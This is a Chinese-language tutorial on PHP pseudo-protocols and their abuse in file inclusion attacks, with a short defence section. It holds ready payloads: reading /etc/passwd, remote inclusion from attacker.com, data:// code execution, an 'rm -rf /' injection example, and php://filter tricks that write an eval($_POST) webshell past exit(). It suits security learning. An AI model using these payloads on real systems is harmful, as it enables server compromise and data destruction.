PHP伪协议详解#

2.1 file:// 协议#

• 基本格式：file://[hostname]/path/to/file
  • [hostname]：可选，本地文件通常省略或为localhost；远程文件需指定主机名。
  • /path/to/file：文件绝对路径（如/C:/test.txt）或相对路径。
• 工作原理：直接与操作系统交互，读取本地文件系统资源，不通过网络协议。
• 用法示例：
  • 访问本地文件：file:///C:/Users/test.txt（注意使用正斜杠）。
  • 文件包含漏洞利用：?file=file:///etc/passwd（读取服务器敏感文件）。
  • 结合目录穿越：?file=file://../../flag.txt（通过../跳转路径）。
• 配置依赖：不受allow_url_fopen和allow_url_include影响，双Off时仍可使用。
• 安全风险：未过滤用户输入时，可能导致本地文件泄露或目录遍历攻击。

2.2 http:// 与 https:// 协议#

• 作用：通过HTTP/HTTPS协议访问远程资源，支持读取远程服务器文件或脚本。
• 用法示例：?file=http://attacker.com/malicious.php（远程文件包含攻击）。
• 配置依赖：需allow_url_fopen=On和allow_url_include=On才能执行远程脚本。
• 安全风险：远程文件包含（RFI）漏洞，攻击者可执行恶意脚本。

2.3 ftp:// 协议#

• 作用：通过FTP协议与远程服务器交互，支持读取或上传文件。
• 用法示例：ftp://ftp.example.com/file.txt（访问FTP服务器文件）。
• 配置依赖：需allow_url_fopen=On才能访问。

2.4 php:// 协议#

PHP核心伪协议，用于访问输入/输出流、过滤器、内存文件等，细分如下：

2.5 zip:// 协议#

• 作用：处理ZIP压缩文件中的子文件，支持任意后缀名（如将test.zip改为test.jpg仍可访问）。
• 基本格式：zip://绝对路径/压缩文件%23子文件名（%23是#的URL编码）。
• 用法示例：
  压缩shell.php为test.zip，改名为test.xxx，通过?file=zip:///var/www/test.xxx%23shell.php执行代码。
• 配置依赖：不受allow_url_fopen和allow_url_include影响。

2.6 data:// 协议#

• 作用：通过Data URI方案嵌入数据，无需文件系统即可处理数据，支持直接执行PHP代码。
• 基本格式：data://text/plain,[数据] 或 data://text/plain;base64,[Base64编码数据]。
• 用法示例：
  • 直接执行代码：?file=data://text/plain,<?php phpinfo();?>
  • Base64编码执行：?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
• 配置依赖：需allow_url_fopen=On和allow_url_include=On。

2.7 glob:// 协议#

• 作用：查找匹配的文件路径模式（如批量匹配*.php文件）。
• 用法示例：glob:///var/www/*.php（列出目录下所有PHP文件）。

2.8 phar:// 协议#

• 作用：访问PHP归档文件（Phar，类似ZIP/TAR）中的资源，支持ZIP格式压缩包。
• 基本格式：phar://绝对路径/压缩包/子文件。
• 用法示例：?file=phar://test.zip/shell.php（读取压缩包内的shell.php）。
• 配置依赖：PHP版本≥5.3.0，不受allow_url_fopen和allow_url_include影响。

2.9 其他协议（ssh2://、rar://、ogg://、expect://）#

• ssh2://：通过SSH2协议访问远程资源。
• rar://：处理RAR压缩文件中的子文件。
• ogg://：访问音频流资源。
• expect://：处理交互式流（如命令交互）。

3.1 主要安全风险#

• 代码注入：通过php://input、data://等协议注入恶意代码（如<?php system('rm -rf /');?>）。
• 信息泄露：未过滤的file://、php://filter可能泄露服务器敏感文件（如/etc/passwd、源码）。
• 远程文件包含（RFI）：http://、ftp://等协议可执行远程恶意脚本。
• 目录遍历：结合../与file://访问未授权路径。

3.2 防御措施#

• 输入验证与过滤：严格校验用户输入的文件路径，限制仅访问合法文件。
• 禁用危险配置：在php.ini中设置allow_url_fopen=Off和allow_url_include=Off，禁用远程资源访问。
• 限制文件访问范围：通过open_basedir配置PHP可访问的基目录，禁止跨目录访问。
• 禁用危险函数：限制include、file_get_contents等函数的使用，或通过disable_functions禁用风险函数。
• 错误处理优化：配置错误日志记录，避免敏感信息（如文件路径）直接显示在Web页面。

4.1 base64编码绕过#

• 原理：利用php://filter的convert.base64-decode过滤器，将恶意代码Base64编码后写入，解码时覆盖exit()。
• 示例：

  1
  filename=php://filter/convert.base64-decode/resource=a.php
  2
  content=aPD9waHAgcGhwaW5mbygpOz8+ （前加"a"补全Base64字节，实际解码为<?=@eval($_POST[a]);?>）
  

4.2 ROT13编码绕过#

• 原理：用string.rot13过滤器对恶意代码ROT13编码，解码后还原代码，规避exit()。
• 示例：

  1
  filename=php://filter/string.rot13/resource=a.php
  2
  content=<?=@riny($_CBFG[n]);?> （ROT13编码后，解码为<?=@eval($_POST[a]);?>）
  

4.3 .htaccess预包含利用#

• 原理：用string.strip_tags过滤器去除.htaccess中的PHP标签，设置auto_prepend_file预包含恶意文件。
• 示例：

  1
  filename=php://filter/write=string.strip_tags/resource=.htaccess
  2
  content=?>php_value auto_prepend_file E:\\web\\flagg （去除标签后生效，路径用双反斜杠）
  

  • 限制：仅PHP5支持string.strip_tags写入过滤。

4.4 过滤器组合绕过#

• 原理：通过压缩-转小写-解压过滤器链破坏exit()代码结构。
• 示例：

  1
  filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=a.php
  2
  content=php://filter/... （压缩后转小写再解压，使`exit()`失效）
  

  • 限制：PHP7.3.0以上版本可能报错，低版本有效。